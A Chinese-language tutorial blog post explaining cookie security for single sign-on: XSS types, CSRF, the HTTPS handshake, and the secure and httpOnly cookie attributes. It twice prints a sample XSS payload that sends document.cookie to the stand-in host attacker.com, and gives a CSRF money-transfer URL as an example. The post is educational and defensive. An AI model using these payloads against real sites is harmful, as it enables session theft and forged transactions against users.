單點登錄與權限管理本質：cookie安全問題

繼續介紹「單點登錄與權限管理」系列的第一部分：單點登錄與權限管理本質，前一篇文章介紹了單點登錄概念，以CAS協議的基本流程為例講解了系統間的交互過程，過程中，cookie的設置和傳輸涉及的比較多，如何保證cookie的安全性，是這篇文章要介紹的。

安全相關的知識，了解的也有限，我閱讀了相關的文章，按照自己的思路、理解，進行了梳理和總結。

如果把安全問題按照發生區域來劃分的話，所有發生在后端服務器的安全問題稱為「后端安全問題」，比如SQL注入；所有發生在瀏覽器、web頁面中的安全問題稱為「前端安全問題」，比如XSS跨站腳本***，cookie相關的問題主要在前端。

首先會介紹下2個***，XSS可獲取用戶的cookie，CSRF可利用用戶的cookie偽造請求，然后介紹下HTTPS及它的重要性，最后說下跨域訪問cookie的限制，HTTP設置cookie時對cookie操作的控制。

XSS

XSS稱為跨站腳本***，全稱為Cross-Site Scripting，這類安全問題發生的本質原因是瀏覽器將***者提供的用戶輸入數據當做JavaScript腳本執行了。

XSS有不同的分類方法，按照惡意腳本是否在應用中存儲，可以劃分為「存儲型XSS」和「反射性XSS」；按照是否和服務端有交互，可以劃分為「Server Side XSS」和「DOM based XSS」。

反射型XSS

場景說明：一些系統，在用戶輸入或操作錯誤后，會跳轉到錯誤信息提示頁面，服務器根據傳入的message顯示不同的錯誤信息。

如果服務端不對message進行過濾，就會收到XSS***，比如請求URL：

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

頁面顯示

<input type="text" value="${msg}">

如果被***者通過訪問這個惡意的URL，就會把cookie發給***，***截獲cookie，就能執行用戶的任意操縱。

保存型XSS

對于保存型XSS，腳本通常保存在后端數據庫中，不經過濾就存儲并顯示給用戶。與反射型的流程不同的是，需要至少兩次請求，第一次將含有惡意代碼的數據提交給服務器，保存到數據庫，第二次是受害者訪問含有惡意代碼的頁面，惡意代碼執行。

DOM based XSS

其實也是反射型的一種，因為也是通過url控制頁面的輸出，不同點只是輸出地點不同而導致結果不一致。

加入請求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

顯示頁面如下：

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>

防御XSS最佳的做法是對數據進行嚴格的輸出編碼，使得***者提供的數據不再被瀏覽器認為是腳本而被誤執行。

CSRF

CSRF稱為跨站請求偽造，全稱是Cross Site Request Forgery，它可以在受害者毫不知情的情況下，以受害者的名義偽造請求發送給受***站點。

場景說明：小米金融網站A，有一個如下的轉賬接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000

***H有一個網站B，在網站中放入如下代碼，通過廣告誘使受害者點擊。如果受害者之前登錄過網站A，且session還未過期，就會在受害者不知情的情況下，成功轉賬給***。

<a ></a>

可以通過驗證HTTP Referer字段、在請求地址中添加token并驗證、在HTTP頭中自定義屬性并驗證等方法進行解決；

HTTPS

建議所有對外網開放的站點都通過HTTPS，它是在HTTP協議的基礎上，加入了SSL層，對數據進行加密處理。

通過HTTPS協議，cookie在傳輸的過程中，即使被別人劫持到請求，也不知道實際的cookie是什么，無法偽造其他的請求。

HTTPS相關的介紹在網上很多，這里描述下交互過程：

1. 瀏覽器將自己支持的一套加密規則發送給網站；
2. 網站從中選出一組加密算法與HASH算法，并將自己的身份信息以證書的形式發回給瀏覽器；（證書里面包含了網站地址，加密公鑰，以及證書的頒發機構等信息）
3. 瀏覽器獲得網站證書之后，要做以下工作：
   • 驗證證書的合法性（驗證頒發證書的機構是否合法，證書中包含的網站地址是否與正在訪問的地址一致等），如果驗證不通過，會給出證書不受信的提示；
   • 如果證書受信任，或者是用戶接受了不受信的證書，瀏覽器會生成一串隨機數的密碼，并用證書中提供的公鑰加密；
   • 使用約定好的HASH計算握手消息，并使用生成的隨機數對消息進行加密，最后將之前生成的所有信息發送給網站；
4. 網站接收瀏覽器發來的數據之后要做以下的操作：
   • 使用自己的私鑰將信息解密取出隨機數密碼，使用密碼解密瀏覽器發來的握手消息，并驗證HASH是否與瀏覽器發來的一致；
   • 使用隨機數密碼加密一段握手消息，發送給瀏覽器；
5. 瀏覽器解密并計算握手消息的HASH，如果與服務端發來的HASH一致，此時握手過程結束，之后所有的通信數據將由之前瀏覽器生成的隨機密碼并利用對稱加密算法進行加密；

總結下：

• 握手階段，通過非對稱加密算法對傳輸的數據進行加解密，約定隨機數的密碼、加密算法、Hash算法；
• 正常傳輸數據時，因為非對稱加密比較耗時，使用隨機數的密碼進行加解密，隨機數密碼在瀏覽器端生成，通過非對稱加密傳輸給網站，所以不會泄露；
• 為了防止數據被篡改，通過Hash算法進行校驗；

Cookie訪問控制

cookie如此重要，在瀏覽器端，如果一個網站可以訪問其他網站的cookie，肯定不行的，所以瀏覽器是不允許跨域訪問cookie的，提高了Cookie的安全性。

在前面的文章 session和cookie介紹 中，已經介紹了cookie的作用域，主要是說一級域名相同情況下如何共享使用cookie。

如果想實現跨域訪問，可以通過JSONP、CORS的方法實現。

另外，HTTP設置cookie時，提供了2個屬性，可以增強cookie的安全性，分別是secure屬性和httpOnly屬性。

secure屬性可防止信息在傳遞的過程中被監聽捕獲后導致信息泄露，如果設置為true，可以限制只有通過https訪問時，才會將瀏覽器保存的cookie傳遞到服務端，如果通過http訪問，不會傳遞cookie。

httpOnly屬性可以防止程序獲取cookie，如果設置為true，通過js等將無法讀取到cookie，能有效的防止XSS***。

通過本篇文章的介紹，為了保障cookie的安全性，應要求通過HTTPS進行訪問，在編寫代碼時充分考慮，盡量避免XSS、CSRF等cookie相關的***方法。同時，瀏覽器和HTTP本身也對cookie的訪問控制進行了考慮。